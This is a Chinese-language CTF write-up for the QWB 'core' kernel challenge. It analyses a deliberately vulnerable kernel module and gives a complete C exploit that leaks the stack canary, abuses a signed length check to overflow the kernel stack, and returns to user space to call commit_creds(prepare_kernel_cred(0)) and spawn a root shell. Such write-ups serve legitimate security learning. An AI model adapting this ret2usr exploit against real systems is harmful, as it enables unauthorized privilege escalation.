qiangwangbei-core

qwb core1

  • 题目文件

    1
    2
    3
    4
    -rwxrwxrwx 1 greydog users 6.8M Jul 22 18:33 bzImage  #压缩的内核映像
    -rwxrwxrwx 1 greydog users 13M Jul 22 18:33 core.cpio #文件镜像
    -rwxrwxrwx 1 greydog users 222 Jul 22 18:37 start.sh #启动脚本
    -rwxrwxrwx 1 greydog users 39M Jul 22 18:33 vmlinux #内核
  • start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    qemu-system-x86_64 \
    -m 128M \ #内存
    -kernel ./bzImage \ #内核
    -initrd ./core.cpio \ #ram磁盘
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #启动参数
    -s \ #调试
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ #网络设置
    -nographic \ # 关闭图形化界面输出
  • init启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms 导出了符号表到tmp
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #加载的内核模块
#去掉了自动重启语句
setsid /bin/cttyhack setuidgid 1000 /bin/sh#调试时注释掉这行就能方便查看驱动基地址
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • 解压cpio文件取出驱动修改nit

    1
    2
    3
    4
    5
    6
    7
    8
    mv core.cpio core.cpio.gz
    gunzip core.cpio.gz
    cpio -idmv < core.cpio
    $ cat gen_cpio.sh
    find . -print0 \
    | cpio --null -ov --format=newc \
    | gzip -9 > $1
    重新打包 ./gen_cpio.sh core.cpio
  • 驱动分析

    • 查看ioctl函数(ioctl 函数相当于驱动的main函数),在打开驱动(open(“/proc/core”)后可以通过octl函数与驱动交互(ioctl(fd,request,…)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    __int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
    {
    __int64 v3; // rbx

    v3 = a3;
    switch ( a2 )
    {
    case 0x6677889B:
    core_read(a3, a2);
    break;
    case 0x6677889C:
    printk(&unk_2CD, a3);
    off = v3;#控制读写位置,由用户设置
    break;
    case 0x6677889A:
    printk(&unk_2B3, a2);
    core_copy_func(v3, a2);
    break;
    }
    return 0LL;
    }
  • core_read 函数,通过控制off数值可以达到任意内存读写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
__int64 user_buf; // rbx
__int64 *v3; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-50h]
unsigned __int64 canary; // [rsp+40h] [rbp-10h]

user_buf = a1;
canary = __readgsqword(0x28u);
printk(&byte_25B, a2);
printk(&unk_275, off);
v3 = &v6;
for ( i = 16LL; i; --i )
{
*v3 = 0;
v3 = (v3 + 4);
}
strcpy(&v6, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(user_buf, &v6 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ canary;
__asm { swapgs }
return result;
}

  • core_copy_func 拷贝函数对拷贝长度进行有符号校验,存在栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2)
{
signed __int64 result; // rax
__int64 buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v4; // [rsp+40h] [rbp-10h]

v4 = __readgsqword(0x28u);
printk(&unk_215, a2);
if ( a1 > 63 )#有符号比较
{
printk(&unk_2A1, a2);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&buf, &name, a1);
}
return result;
}
  • core_write 从用户态拷贝数据到name

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
    unsigned __int64 v3; // rbx

    v3 = a3;
    printk(&unk_215, a2);
    if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return v3;
    printk(&unk_230, a2);
    return 4294967282LL;
    }
  • 漏洞利用

    • 通过控制off读取canary
    • 通过/tmp/kallsyms得到内核函数地址
    • 构造rop,通过write写到name
    • 构造off为负数绕过校验,栈溢出返回到用户空间代码执行提权函数get root shell
  • exp代码(码渣,在抄了很多代码后还写了很久)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>

    #define core_read 0x6677889b
    #define set_off 0x6677889c
    #define core_copy 0x6677889a

    typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

    struct trap_frame{
    unsigned long long rip;
    unsigned long long cs;
    unsigned long long eflags;
    unsigned long long rsp;
    unsigned long long ss;
    }__attribute__((packed));

    struct trap_frame tf;

    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;

    void get_shell(){
    system("/bin/sh");
    }

    unsigned long user_cs ,user_ss,user_rflags;
    void save_stats() {
    asm(
    "movq %%cs, %0\n" // mov rcx, cs
    "movq %%ss, %1\n" // mov rdx, ss
    "pushfq\n" // 把rflags的值压栈
    "popq %2\n" // pop rax
    :"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.eflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
    );
    }

    void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;mov $tf,%rsp;iretq;");
    }
    int main(void)
    {
    int fd,fd1;
    FILE * fp;
    char buf[100];
    long base,canary;
    memset(buf,0,sizeof(buf));
    save_stats();
    fd = open("/proc/core",O_RDWR);
    if (fd == -1){
    printf("open core device failed!\n");
    return -1;
    }
    fp = popen("cat /tmp/kallsyms | grep commit_creds","r");
    fread(buf,sizeof(char),16,fp);
    printf("%s\n",buf);
    pclose(fp);
    tf.rsp =(unsigned long long) buf;
    tf.rip = (unsigned long long )&get_shell;
    commit_creds = (_commit_creds) strtoul(buf,NULL,16);
    base = (unsigned long)commit_creds - 0x7fc8d;
    printf("commit_creds address is 0x%lx\n",commit_creds);
    memset(buf,0,sizeof(buf));
    fp = popen("cat /tmp/kallsyms | grep prepare_kernel_cred","r");
    fread(buf,sizeof(char),16,fp);
    printf("%s\n",buf);
    pclose(fp);
    prepare_kernel_cred = (_prepare_kernel_cred) strtoul(buf,NULL,16);
    printf("prepare_kernel_cred address is 0x%lx\n;",prepare_kernel_cred);
    pclose(fp);
    memset(buf,0,sizeof(buf));
    ioctl(fd,set_off,0x40);
    ioctl(fd,core_read,buf);
    printf("%lx\n",buf);
    write(1,buf,64);
    memcpy(&canary,buf,8);
    printf("\n%d\n",canary);
    printf("canary is 0x%lx \n",canary);
    ioctl(fd,set_off,0x80000000);
    long rop_chains[] = {
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    (long)&payload,
    };
    write(fd,rop_chains,0x800);
    ioctl(fd,core_copy,0xffffffffffff0000|0x100);
    return 0;

    }
  • 遇到的调试问题

    1
    2
    3
    4
    5
    6
    ./start.sh #开启qemu   
    gdb vimlinux #在另一个终端打开gdb
    set target remote localhost:1234#链接qemu 下断点可以停下内核 ctrl c 无法停止
    echo g /proc/sysrq-trigger#qemu里执行 内核会假死 等待gdb 然而,,,本地没有停下来
    lsmod core#查看core模块基地址 修改init 用root用户调试
    add-symbol-file core.ko 0x....#在gdb中加载驱动 就可以正常下驱动断点

其间参考了很多大佬博客,感觉到知识分享的便利性,决定以后有空就多写写博客,记忆知识,同时也为后来任点亮一盏小小的灯光。